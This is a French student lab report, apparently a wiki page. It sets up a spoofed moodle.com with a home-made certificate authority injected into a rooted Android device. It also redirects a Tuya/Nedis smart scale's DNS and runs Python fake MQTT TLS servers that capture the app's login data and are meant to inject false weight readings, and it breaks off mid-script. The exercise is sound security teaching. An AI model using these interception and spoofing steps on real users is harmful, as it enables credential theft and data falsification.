  GNU nano 7.2      /etc/apache2/sites-available/secure-site.conf&lt;br /&gt;
&amp;lt;VirtualHost *:443&amp;gt;&lt;br /&gt;
    ServerName moodle.com&lt;br /&gt;
&lt;br /&gt;
    DocumentRoot /var/www/html&lt;br /&gt;
&lt;br /&gt;
    SSLEngine on&lt;br /&gt;
    SSLCertificateFile /etc/ssl/apache/apache.crt&lt;br /&gt;
    SSLCertificateKeyFile /etc/ssl/apache/apache.key&lt;br /&gt;
&lt;br /&gt;
    # Optionnel : log&lt;br /&gt;
    ErrorLog ${APACHE_LOG_DIR}/ssl-error.log&lt;br /&gt;
    CustomLog ${APACHE_LOG_DIR}/ssl-access.log combined&lt;br /&gt;
&amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
# Redirection HTTP  ^f^r HTTPS&lt;br /&gt;
&amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
    ServerName moodle.com&lt;br /&gt;
    Redirect permanent / https://moodle.com/&lt;br /&gt;
&amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Maintenant, en prévision de la suite (voir explication dans Machine virtuelle Android), on va créer une autorité de certification nommée CertiFiable :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;openssl req -x509 -new -nodes -keyout ca.key -sha256 -days 365 -out ca.crt -subj &amp;quot;/CN=CertiFiable&amp;quot;&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Puis, on vient générer une demande de signature de certificat :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;openssl req -new -newkey rsa:2048 -nodes -keyout apache.key -out apache.csr -subj &amp;quot;/CN=moodle.com&amp;quot;&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Enfin, on vient signer le site avec le certificat de CertiFiable :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;openssl x509 -req -in apache.csr -CA ca.crt -CAkey ca.key -CAcreateserial -out apache.crt -days 365 -sha256&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= Machine virtuelle &amp;lt;code&amp;gt;android&amp;lt;/code&amp;gt; =&lt;br /&gt;
&lt;br /&gt;
== Première tentative ==&lt;br /&gt;
Actuellement, si on navigue sur internet et que l'on se rend sur moodle.com, on atterrit bien sûr le faux Moodle, mais comme le téléphone ne connait pas l'autorité de certification nommé CertiFiable, on a le droit à ce magnifique message de connexion non sécurisée :&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Avertissement moodle.png|sans_cadre]][[Fichier:Moodle le magnifique.png|sans_cadre]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Malheureusement, il est aujourd'hui impossible d'ajouter facilement une autorité de certification sur son téléphone.&lt;br /&gt;
&lt;br /&gt;
C'est pour cela qu'une solution proposée est d'installer une machine virtuelle d'une ancienne version d'&amp;lt;code&amp;gt;Android&amp;lt;/code&amp;gt; où il était possible d'en ajouter.&lt;br /&gt;
&lt;br /&gt;
En ayant suivi ce tuto (https://help.clouding.io/hc/en-us/articles/4405454393756-How-to-virtualize-Android-with-QEMU-KVM), j'ai réussi à installer une VM sur Zabeth4 (j'ai dû prendre une autre iso car celle du site était inaccessible). &lt;br /&gt;
&lt;br /&gt;
J'ai installé &amp;lt;code&amp;gt;VNC Viewer&amp;lt;/code&amp;gt; pour pouvoir manipuler la machine virtuelle.&lt;br /&gt;
&lt;br /&gt;
En étant sur la VM, j'ai pu me rendre compte qu'il n'était pas possible de se connecter au WiFi, c'est la connexion du pc qui est simulé comme un réseau WiFi dans la VM.&lt;br /&gt;
&lt;br /&gt;
J'ai pu réfléchir à deux solutions avant que la VM ne crash d'elle-même et soit impossible à redémarrer...&lt;br /&gt;
&lt;br /&gt;
La première est toute simple, connecter la Zabeth directement au WiFi, ce qui est difficile à distance. La seconde, qui est je pense possible, est de changer la carte réseau dans les fichiers de conf de la VM pour mettre celle supportant le WiFi.&lt;br /&gt;
&lt;br /&gt;
Je n'ai donc pu tester aucune de ces deux solutions, la VM n'étant plus.&lt;br /&gt;
&lt;br /&gt;
== Seconde tentative ==&lt;br /&gt;
&lt;br /&gt;
Pour cette seconde tentative, j'utilise les commandes suivantes avec plusieurs ISO Android.&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
qemu-system-x86_64 -net nic -net user -m 1024 -enable-kvm -display sdl -drive file=android.img,format=raw&lt;br /&gt;
qemu-system-x86_64 -net nic -net user -m 1024 -enable-kvm -display sdl -drive file=android.img,format=raw -cdrom *android-x86*.iso -boot d&lt;br /&gt;
qemu-system-x86_64     -m 2048     -enable-kvm     -cpu host     -smp 2     -display sdl     -drive file=android.img,format=raw,if=virtio     -usb     -device usb-host,vendorid=0x148f,productid=0x5370&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;J'ai pu donc pu faire face:&lt;br /&gt;
&lt;br /&gt;
- À un ISO sans les services Google et sans navigateur ...&lt;br /&gt;
&lt;br /&gt;
- Un trop ancien pour Nedis&lt;br /&gt;
&lt;br /&gt;
- Un qui refuse l'installation d'APK&lt;br /&gt;
&lt;br /&gt;
- Un trop récent pour l'installation de certificat.&lt;br /&gt;
&lt;br /&gt;
- Un qui refuse de se laisser root&lt;br /&gt;
&lt;br /&gt;
En fin de séance, je n'ai malheureusement pas de VM Android fonctionnelle.&lt;br /&gt;
&lt;br /&gt;
== Ultime tentative (qui marche) ==&lt;br /&gt;
Cette fois ci j'utilise l'application Android Studio qui permet d'émuler des téléphones Android pour le débogage d'application. On va donc s'en servir pour créer un Android routé qui va recevoir notre certificat.&lt;br /&gt;
&lt;br /&gt;
Dans un premier temps j'ai donc routé mon téléphone avec l'utilitaire Magisik en suivant ce tutoriel : https://www.youtube.com/watch?v=QzsNn3GhYYk&amp;amp;t=374s.&lt;br /&gt;
&lt;br /&gt;
Puis je viens ajouter un module dans Magisk qui permet de recharger à chaque demarrage du téléphone le certificat en question.&lt;br /&gt;
&lt;br /&gt;
Le certificat peut être ajouter dans le téléphone en utilisant la commande &amp;lt;code&amp;gt;adb push xyzxyzxyz.0&amp;lt;/code&amp;gt; .&lt;br /&gt;
&lt;br /&gt;
La manipulation est la suivante :&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
adb shell&lt;br /&gt;
su&lt;br /&gt;
cd /data/adb/modules/&lt;br /&gt;
mkdir -p tuya_cert/system/etc/security/cacerts&lt;br /&gt;
echo &amp;quot;id=tuya_cert&amp;quot; &amp;gt; tuya_cert/module.prop echo &amp;quot;name=Tuya Certificate Injection&amp;quot; &amp;gt;&amp;gt; tuya_cert/module.prop echo &amp;quot;version=1.0&amp;quot; &amp;gt;&amp;gt; tuya_cert/module.prop echo &amp;quot;versionCode=1&amp;quot; &amp;gt;&amp;gt; tuya_cert/module.prop echo &amp;quot;author=Victo&amp;quot; &amp;gt;&amp;gt; tuya_cert/module.prop echo &amp;quot;description=Injecte le certificat Tuya dans le systeme&amp;quot; &amp;gt;&amp;gt; tuya_cert/module.prop&lt;br /&gt;
touch tuya_cert/auto_mount&lt;br /&gt;
cp /sdcard/Download/26e33623.0 /data/adb/modules/tuya_cert/system/etc/security/cacerts/&lt;br /&gt;
chmod 644 /data/adb/modules/tuya_cert/system/etc/security/cacerts/26e33623.0&lt;br /&gt;
chown root:root /data/adb/modules/tuya_cert/system/etc/security/cacerts/26e33623.0&lt;br /&gt;
reboot&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;On a donc maintenant une VM Android avec notre certificat. Il faut maintenant que le PC qui host cette VM soit connecté à notre borne WiFi pour pouvoir constater que notre site Moodle.com est bien redirigé et sécurisé. &lt;br /&gt;
&lt;br /&gt;
= Machine &amp;lt;code&amp;gt;Android&amp;lt;/code&amp;gt; (06/10) =&lt;br /&gt;
Pour cette dernière partie, j'ai retrouvé une tablette sous &amp;lt;code&amp;gt;Android 4.4 KitKat&amp;lt;/code&amp;gt; qui permet d'ajouter des autorités de certification.&lt;br /&gt;
&lt;br /&gt;
C'est donc ce que j'ai fait :&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Photo_certifiable.png|sans_cadre]]&lt;br /&gt;
&lt;br /&gt;
Maintenant, on constate en se connectant sur moodle.com à partir de cette tablette que l'on est bien redirigé vers le faux site et qu'il est sécurisé avec le magnifique cadenas vert.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Photo moodle.png|sans_cadre]]&lt;br /&gt;
&lt;br /&gt;
(cette page web date du 06/10/25, elle n'est plus valable depuis le 10/10/25...)&lt;br /&gt;
&lt;br /&gt;
= Nedis Wi-Fi Smart Personal Scales =&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Dans ce second TP, nous allons jouer avec ce pèse personne de nedis. &lt;br /&gt;
&lt;br /&gt;
Dans un premier temps, j'ai connecté la balance au réseau SE5-SSID10.&lt;br /&gt;
&lt;br /&gt;
Puis j'ai remarqué que quand je tentais de me peser, la balance affichait err2.&lt;br /&gt;
&lt;br /&gt;
Après une courte investigation, il s'agit d'une balance qui émet des signaux électriques pour analyser la composition corporelle donc si on se pèse avec des chaussures, cela pose problème.&lt;br /&gt;
&lt;br /&gt;
Pour la suite du projet, on se pèsera avec les mains.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Poid_sur_app_nedis.png|sans_cadre]]&lt;br /&gt;
&lt;br /&gt;
== Redirection du poids vers notre serveur ==&lt;br /&gt;
Dans un premier temps, mon idée était de faire croire à la balance qu'elle communique effectivement avec son serveur pour pouvoir récupérer les informations sur la santé de l'utilisateur. &lt;br /&gt;
&lt;br /&gt;
Ici on constate sur ces paquets la requête de la balance pour obtenir une IP, puis le moment ou elle l'obtient.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Fichier:WS connection balance.png|sans_cadre|858x858px]]&lt;br /&gt;
&lt;br /&gt;
Je peux donc ping ma balance depuis mon pc (celui qui host ma VM android)&lt;br /&gt;
&lt;br /&gt;
[[Fichier:PIng balance.png|sans_cadre]]&lt;br /&gt;
&lt;br /&gt;
Maintenant je veux voir les messages de communication entre la balance, son serveur et l'application, pour ce faire je fais &amp;lt;code&amp;gt;tcpdump -i eth1 -n port 53&amp;lt;/code&amp;gt; :&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
14:46:51.115996 IP 172.16.10.105.49153 &amp;gt; 172.16.10.1.53: 13861+ A? m2.tuyaeu.com. (31)&lt;br /&gt;
14:46:51.125611 IP 172.16.10.1.53 &amp;gt; 172.16.10.105.49153: 13861 3/0/0 A 3.120.92.134, A 18.184.31.90, A 35.156.44.172 (79)&lt;br /&gt;
14:46:51.168250 IP 172.16.10.105.49153 &amp;gt; 172.16.10.1.53: 59035+ A? a3.tuyaeu.com. (31)&lt;br /&gt;
14:46:51.177967 IP 172.16.10.1.53 &amp;gt; 172.16.10.105.49153: 59035 3/0/0 A 18.198.62.99, A 18.158.227.228, A 3.67.116.46 (79)&lt;br /&gt;
14:46:51.703179 IP 172.16.10.102.57661 &amp;gt; 172.16.10.1.53: 30982+ AAAA? a1.tuyaeu.com. (31)&lt;br /&gt;
14:46:51.706085 IP 172.16.10.102.57662 &amp;gt; 172.16.10.1.53: 15654+ A? a1.tuyaeu.com. (31)&lt;br /&gt;
14:46:51.713159 IP 172.16.10.1.53 &amp;gt; 172.16.10.102.57661: 30982 3/0/0 AAAA 2a05:d014:afa:af02:262a:be09:e328:ff21, AAAA 2a05:d014:afa:af01:87dc:dc67:35a1:5bfe, AAAA 2a05:d014:afa:af00:1ee2:1f00:e061:e8bf (115)&lt;br /&gt;
14:46:51.715736 IP 172.16.10.1.53 &amp;gt; 172.16.10.102.57662: 15654 3/0/0 A 3.78.92.3, A 35.159.150.3, A 3.121.33.91 (79)&lt;br /&gt;
&lt;br /&gt;
56 packets captured&lt;br /&gt;
56 packets received by filter&lt;br /&gt;
0 packets dropped by kernel&lt;br /&gt;
[4343449.827028] device eth1 left promiscuous mode&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;visiblement notre balance communique avec tuya via m2.tuyaeu.com et a3.tuyaeu.com. Par la suite on constate qu'elle communique avec une multitude de XY.tuyaeu.com.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Maintenant on refait une config similaire à moodle.com, une zone &amp;quot;tuyaeu.com&amp;quot; dans le fichier de conf de bind, un fichier db.tuyaeu.com et une page apache. Enfin on vient la signer avec notre autorité de certification.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;tcpdump -i eth1 -n port 53&amp;lt;/code&amp;gt; :&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
12:30:58.490060 IP 172.16.10.105.49153 &amp;gt; 172.16.10.1.53: 50294+ A? m2.tuyaeu.com. (31)&lt;br /&gt;
12:30:58.490174 IP 172.16.10.1.53 &amp;gt; 172.16.10.105.49153: 50294* 2/0/0 CNAME ns.tuyaeu.com., A 172.16.10.1 (64)&lt;br /&gt;
12:30:58.540041 IP 172.16.10.105.49153 &amp;gt; 172.16.10.1.53: 23785+ A? a3.tuyaeu.com. (31)&lt;br /&gt;
12:30:58.540132 IP 172.16.10.1.53 &amp;gt; 172.16.10.105.49153: 23785* 2/0/0 CNAME ns.tuyaeu.com., A 172.16.10.1 (64)&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Maintenant on constate que quand la balance demande l'adresse du serveur xy.tuyaeu.com, notre DNS lui répond avec l'IP de notre serveur. &lt;br /&gt;
&lt;br /&gt;
On va créer un faux serveur pour déchiffrer ce que nous dit la balance.&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
root@SE5:/etc/apache2/sites-available# openssl s_server -accept 8886 -cert /etc/ssl/apache/ca.crt -key /etc/ssl/apache/ca.key -debug&lt;br /&gt;
Using default temp DH parameters&lt;br /&gt;
ACCEPT&lt;br /&gt;
read from 0x55b0357c45c0 [0x55b0357db203] (5 bytes =&amp;gt; 5 (0x5))&lt;br /&gt;
0000 - 16 03 03 00 3e                                    ....&amp;gt;&lt;br /&gt;
read from 0x55b0357c45c0 [0x55b0357db208] (62 bytes =&amp;gt; 62 (0x3E))&lt;br /&gt;
0000 - 01 00 00 3a 03 03 42 41-6f 68 42 41 6f 68 62 6d   ...:..BAohBAohbm&lt;br /&gt;
0010 - 64 36 61 47 39 31 49 46-52 31 65 56 6a 61 47 35   d6aG91IFR1eVjaG5&lt;br /&gt;
0020 - 76 62 47 39 53 42 00 00-04 00 ae 00 ff 01 00 00   vbG9SB..........&lt;br /&gt;
0030 - 0d 00 01 00 01 02 00 16-00 00 00 17 00 00         ..............&lt;br /&gt;
write to 0x55b0357c45c0 [0x55b0357e4430] (7 bytes =&amp;gt; 7 (0x7))&lt;br /&gt;
0000 - 15 03 03 00 02 02 28                              ......(&lt;br /&gt;
ERROR&lt;br /&gt;
801B7259B87F0000:error:0A0000C1:SSL routines:tls_post_process_client_hello:no shared cipher:../ssl/statem/statem_srvr.c:2220:&lt;br /&gt;
shutting down SSL&lt;br /&gt;
CONNECTION CLOSED&lt;br /&gt;
read from 0x55b0357c2410 [0x55b0357db203] (5 bytes =&amp;gt; 5 (0x5))&lt;br /&gt;
0000 - 16 03 03 00 3e                                    ....&amp;gt;&lt;br /&gt;
read from 0x55b0357c2410 [0x55b0357db208] (62 bytes =&amp;gt; 62 (0x3E))&lt;br /&gt;
0000 - 01 00 00 3a 03 03 42 41-6f 68 42 41 6f 68 62 6d   ...:..BAohBAohbm&lt;br /&gt;
0010 - 64 36 61 47 39 31 49 46-52 31 65 56 6a 61 47 35   d6aG91IFR1eVjaG5&lt;br /&gt;
0020 - 76 62 47 39 53 42 00 00-04 00 ae 00 ff 01 00 00   vbG9SB..........&lt;br /&gt;
0030 - 0d 00 01 00 01 02 00 16-00 00 00 17 00 00         ..............&lt;br /&gt;
write to 0x55b0357c2410 [0x55b0357e4430] (7 bytes =&amp;gt; 7 (0x7))&lt;br /&gt;
0000 - 15 03 03 00 02 02 28                              ......(&lt;br /&gt;
ERROR&lt;br /&gt;
801B7259B87F0000:error:0A0000C1:SSL routines:tls_post_process_client_hello:no shared cipher:../ssl/statem/statem_srvr.c:2220:&lt;br /&gt;
shutting down SSL&lt;br /&gt;
CONNECTION CLOSED&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;On constate que dès que la balance tente de se connecter elle ferme la connexion pour cause &amp;quot;no shared cipher&amp;quot;.&lt;br /&gt;
&lt;br /&gt;
Malheureusement, je constate (un peu tard) que notre balance ne pourra pas communiquer avec notre serveur puisque qu'elle ne possède pas le certificat de notre autorité de certification. Elle refuse donc de communiquer avec notre serveur.&lt;br /&gt;
&lt;br /&gt;
Il faudrait réussir un injecter le certificat dans la balance en communicant directement avec elle.&lt;br /&gt;
&lt;br /&gt;
== Envoi de fausses informations vers l'application ==&lt;br /&gt;
&lt;br /&gt;
Dans cette partie, nous allons tenter d'envoyer un poids à l'application depuis notre serveur.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
L'appli tape sur 443 et 8883 (mqtt qui fonctionne avec tls) comme on peut le voir sur cet extrait:&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
(test) root@SE5:~/py_file# tcpdump -i eth1 -n src 172.16.10.102 and not port 53&lt;br /&gt;
&lt;br /&gt;
...&lt;br /&gt;
&lt;br /&gt;
11:59:46.829382 IP 172.16.10.102.53314 &amp;gt; 172.16.10.1.443: Flags [.], ack 1257, win 251, length 0&lt;br /&gt;
11:59:47.005041 IP 172.16.10.102.54915 &amp;gt; 172.16.10.255.54915: UDP, length 263&lt;br /&gt;
11:59:47.295737 IP 172.16.10.102.53313 &amp;gt; 172.16.10.1.8883: Flags [S], seq 3014816869, win 65535, options [mss 1460,nop,wscale 8,nop,nop,sackOK], length 0&lt;br /&gt;
11:59:47.346713 IP 172.16.10.102.53315 &amp;gt; 172.16.10.1.443: Flags [S], seq 1755898328, win 65535, options [mss 1460,nop,wscale 8,nop,nop,sackOK], length 0&lt;br /&gt;
11:59:47.347853 IP 172.16.10.102.53315 &amp;gt; 172.16.10.1.443: Flags [.], ack 273869652, win 255, length 0&lt;br /&gt;
11:59:47.534641 IP 172.16.10.102.53318 &amp;gt; 172.16.10.1.443: Flags [F.], seq 547, ack 1257, win 251, length 0&lt;br /&gt;
&lt;br /&gt;
...&lt;br /&gt;
&lt;br /&gt;
11:59:48.189587 IP 172.16.10.102.53319 &amp;gt; 172.16.10.1.443: Flags [P.], seq 517:547, ack 1256, win 251, length 30&lt;br /&gt;
11:59:48.190681 IP 172.16.10.102.53319 &amp;gt; 172.16.10.1.443: Flags [.], ack 1257, win 251, length 0&lt;br /&gt;
11:59:48.256593 IP 172.16.10.102.53319 &amp;gt; 172.16.10.1.443: Flags [F.], seq 547, ack 1257, win 251, length 0&lt;br /&gt;
11:59:48.324124 IP 172.16.10.102.53313 &amp;gt; 172.16.10.1.8883: Flags [S], seq 3014816869, win 65535, options [mss 1460,nop,wscale 8,nop,nop,sackOK], length 0&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
On va donc tenter d'envoyer des informations erronés de notre serveur vers notre application.&lt;br /&gt;
&lt;br /&gt;
Dans un premier temps on va tenter d'établir une connexion sécurisé entre l'appli et notre serveur.&lt;br /&gt;
&lt;br /&gt;
Tuya utilise un protocole MQTT pour les échanges de données. On va donc simuler un serveur MQTT en python qui utilise un certificat signé par notre autorité de certification.&amp;lt;syntaxhighlight lang=&amp;quot;python3&amp;quot;&amp;gt;&lt;br /&gt;
import socket&lt;br /&gt;
import ssl&lt;br /&gt;
&lt;br /&gt;
CERT_FILE = &amp;quot;/etc/apache2/ssl/tuya.crt&amp;quot; &lt;br /&gt;
KEY_FILE  = &amp;quot;/etc/apache2/ssl/tuya.key&amp;quot;  &lt;br /&gt;
PORT = 8883&lt;br /&gt;
&lt;br /&gt;
def start_server():&lt;br /&gt;
    context = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER)&lt;br /&gt;
    try:&lt;br /&gt;
        context.load_cert_chain(certfile=CERT_FILE, keyfile=KEY_FILE)&lt;br /&gt;
    except Exception as e:&lt;br /&gt;
        print(f&amp;quot;impossible de charger les clés SSL\n{e}&amp;quot;)&lt;br /&gt;
        return&lt;br /&gt;
&lt;br /&gt;
    bindsocket = socket.socket()&lt;br /&gt;
    bindsocket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)&lt;br /&gt;
    bindsocket.bind(('0.0.0.0', PORT))&lt;br /&gt;
    bindsocket.listen(5)&lt;br /&gt;
&lt;br /&gt;
    print(f&amp;quot;faux Serveur MQTT en écoute sur le port {PORT}...&amp;quot;)&lt;br /&gt;
    print(&amp;quot;en attente de l'application Android...&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
    while True:&lt;br /&gt;
        try:&lt;br /&gt;
            newsocket, fromaddr = bindsocket.accept()&lt;br /&gt;
            print(f&amp;quot;\nconnexion TCP reçue de {fromaddr[0]}&amp;quot;)&lt;br /&gt;
            &lt;br /&gt;
            try:&lt;br /&gt;
                conn = context.wrap_socket(newsocket, server_side=True)&lt;br /&gt;
                print(f&amp;quot;handshake SSL réussi&amp;quot;)&lt;br /&gt;
                &lt;br /&gt;
                data = conn.recv(1024)&lt;br /&gt;
                print(f&amp;quot;données reçues ({len(data)} octets) :&amp;quot;)&lt;br /&gt;
                print(data)&lt;br /&gt;
                &lt;br /&gt;
            except ssl.SSLError as e:&lt;br /&gt;
                print(f&amp;quot;échec SSL rejet du certificat.\n{e}&amp;quot;)&lt;br /&gt;
            except Exception as e:&lt;br /&gt;
                print(f&amp;quot;erreur de lecture : {e}&amp;quot;)&lt;br /&gt;
            finally:&lt;br /&gt;
                pass&lt;br /&gt;
&lt;br /&gt;
        except KeyboardInterrupt:&lt;br /&gt;
            print(&amp;quot;\narrêt.&amp;quot;)&lt;br /&gt;
            break&lt;br /&gt;
&lt;br /&gt;
if __name__ == '__main__':&lt;br /&gt;
    start_server()&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
connexion TCP reçue de 172.16.10.102&lt;br /&gt;
handshake SSL réussi&lt;br /&gt;
données reçues (529 octets) :&lt;br /&gt;
b'\x10\x8e\x04\x00\x04MQTT\x04\xce\x00&amp;lt;\x00lcom.nedis.smartlife_mb_e5a1220d6003e352f8b34a81cda1f2bf2e2880ce4093_d8439672c8e94a0c3446d4276d3a2abc_DEFAULT\x00\x0ftuya/smart/will\x00\xfa{&amp;quot;clie&lt;br /&gt;
ntId&amp;quot;:&amp;quot;com.nedis.smartlife_mb_e5a1220d6003e352f8b34a81cda1f2bf2e2880ce4093_d8439672c8e94a0c3446d4276d3a2abc_DEFAULT&amp;quot;,&amp;quot;deviceType&amp;quot;:&amp;quot;ANDROID&amp;quot;,&amp;quot;message&amp;quot;:&amp;quot;&amp;quot;,&amp;quot;userName&amp;quot;:&amp;quot;e5a1220d6003e352f8b34a81&lt;br /&gt;
cda1f2bf2e2880ce4093_d8439672c8e94a0c3446d4276d3a2abc&amp;quot;}\x00up1027735_v1_4dtc78phe7grtfdfv7fp_a4206d71_mb_eu17623708062605mpDdzpA355dad9b8086f63442d98e227e039cf5315158b056398c8fb\x00\x10388c&lt;br /&gt;
a5a77b82c5ad'&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;On constate à la suite de cela que notre application fait totalement confiance à notre faux serveur. Il faut maintenant le format sous lequel envoyer notre message pour quelle ajoute un poids dans l'application.&lt;br /&gt;
&lt;br /&gt;
On tente donc d'envoyer en clair le poids vers l'application de Nedis&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
(test) root@SE5:~/py_file# cat fake_serv2.py &lt;br /&gt;
import socket&lt;br /&gt;
import ssl&lt;br /&gt;
import time&lt;br /&gt;
import json&lt;br /&gt;
import struct&lt;br /&gt;
&lt;br /&gt;
# ================= CONFIGURATION =================&lt;br /&gt;
CERT_FILE = &amp;quot;/etc/ssl/apache/ssl/tuya.crt&amp;quot;&lt;br /&gt;
KEY_FILE  = &amp;quot;/etc/ssl/apache/ssl/tuya.key&amp;quot;&lt;br /&gt;
PORT = 8883&lt;br /&gt;
&lt;br /&gt;
PAYLOAD_POIDS = {&lt;br /&gt;
    &amp;quot;protocol&amp;quot;: 4,&lt;br /&gt;
    &amp;quot;t&amp;quot;: int(time.time()),&lt;br /&gt;
    &amp;quot;data&amp;quot;: {&lt;br /&gt;
        &amp;quot;dps&amp;quot;: {&lt;br /&gt;
            &amp;quot;1&amp;quot;: 8050,&lt;br /&gt;
            &amp;quot;2&amp;quot;: True,&lt;br /&gt;
            &amp;quot;3&amp;quot;: &amp;quot;kg&amp;quot;&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
# =================================================&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
def encode_remaining_length(length):&lt;br /&gt;
    out = bytearray()&lt;br /&gt;
    while True:&lt;br /&gt;
        byte = length % 128&lt;br /&gt;
        length //= 128&lt;br /&gt;
        if length &amp;gt; 0:&lt;br /&gt;
            byte |= 0x80&lt;br /&gt;
        out.append(byte)&lt;br /&gt;
        if length == 0:&lt;br /&gt;
            break&lt;br /&gt;
    return out&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
def create_mqtt_packet(pkt_type, flags, payload):&lt;br /&gt;
    header = bytes([(pkt_type &amp;lt;&amp;lt; 4) | flags])&lt;br /&gt;
    return header + encode_remaining_length(len(payload)) + payload&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
def start_server():&lt;br /&gt;
    context = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER)&lt;br /&gt;
    context.load_cert_chain(certfile=CERT_FILE, keyfile=KEY_FILE)&lt;br /&gt;
&lt;br /&gt;
    sock = socket.socket()&lt;br /&gt;
    sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)&lt;br /&gt;
    sock.bind((&amp;quot;0.0.0.0&amp;quot;, PORT))&lt;br /&gt;
    sock.listen(5)&lt;br /&gt;
&lt;br /&gt;
    print(f&amp;quot;[*] Serveur MQTT TLS prêt sur {PORT}&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
    while True:&lt;br /&gt;
        client, addr = sock.accept()&lt;br /&gt;
        print(f&amp;quot;\n[+] Connexion de {addr[0]}&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
        try:&lt;br /&gt;
            conn = context.wrap_socket(client, server_side=True)&lt;br /&gt;
            print(&amp;quot;TLS OK&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
            while True:&lt;br /&gt;
                header = conn.recv(1)&lt;br /&gt;
                if not header:&lt;br /&gt;
                    break&lt;br /&gt;
&lt;br /&gt;
                pkt_type = header[0] &amp;gt;&amp;gt; 4&lt;br /&gt;
&lt;br /&gt;
                # Remaining length&lt;br /&gt;
                multiplier = 1&lt;br /&gt;
                remaining_len = 0&lt;br /&gt;
                while True:&lt;br /&gt;
                    b = conn.recv(1)[0]&lt;br /&gt;
                    remaining_len += (b &amp;amp; 127) * multiplier&lt;br /&gt;
                    multiplier *= 128&lt;br /&gt;
                    if not (b &amp;amp; 128):&lt;br /&gt;
                        break&lt;br /&gt;
&lt;br /&gt;
                payload = b&amp;quot;&amp;quot;&lt;br /&gt;
                while len(payload) &amp;lt; remaining_len:&lt;br /&gt;
                    payload += conn.recv(remaining_len - len(payload))&lt;br /&gt;
&lt;br /&gt;
                # ================= HANDLERS =================&lt;br /&gt;
&lt;br /&gt;
                # CONNECT&lt;br /&gt;
                if pkt_type == 1:&lt;br /&gt;
                    print(&amp;quot;&amp;gt;&amp;gt;&amp;gt; CONNECT reçu&amp;quot;)&lt;br /&gt;
                    conn.send(b&amp;quot;\x20\x02\x00\x00&amp;quot;)&lt;br /&gt;
                    print(&amp;quot;&amp;lt;&amp;lt;&amp;lt; CONNACK envoyé&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
                # SUBSCRIBE&lt;br /&gt;
                elif pkt_type == 8:&lt;br /&gt;
                    msg_id = payload[0:2]&lt;br /&gt;
                    topic_len = struct.unpack(&amp;quot;!H&amp;quot;, payload[2:4])[0]&lt;br /&gt;
                    topic = payload[4:4+topic_len].decode(errors=&amp;quot;ignore&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
                    print(f&amp;quot;&amp;gt;&amp;gt;&amp;gt; SUBSCRIBE : {topic}&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
                    # SUBACK (QoS 1 accepté)&lt;br /&gt;
                    suback_payload = msg_id + b&amp;quot;\x01&amp;quot;&lt;br /&gt;
                    conn.send(create_mqtt_packet(9, 0x00, suback_payload))&lt;br /&gt;
                    print(&amp;quot;&amp;lt;&amp;lt;&amp;lt; SUBACK OK&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
                    # Mapping OUT -&amp;gt; IN&lt;br /&gt;
                    pub_topic = topic.replace(&amp;quot;/out/&amp;quot;, &amp;quot;/in/&amp;quot;)&lt;br /&gt;
                    print(f&amp;quot;Publication sur : {pub_topic}&amp;quot;)&lt;br /&gt;
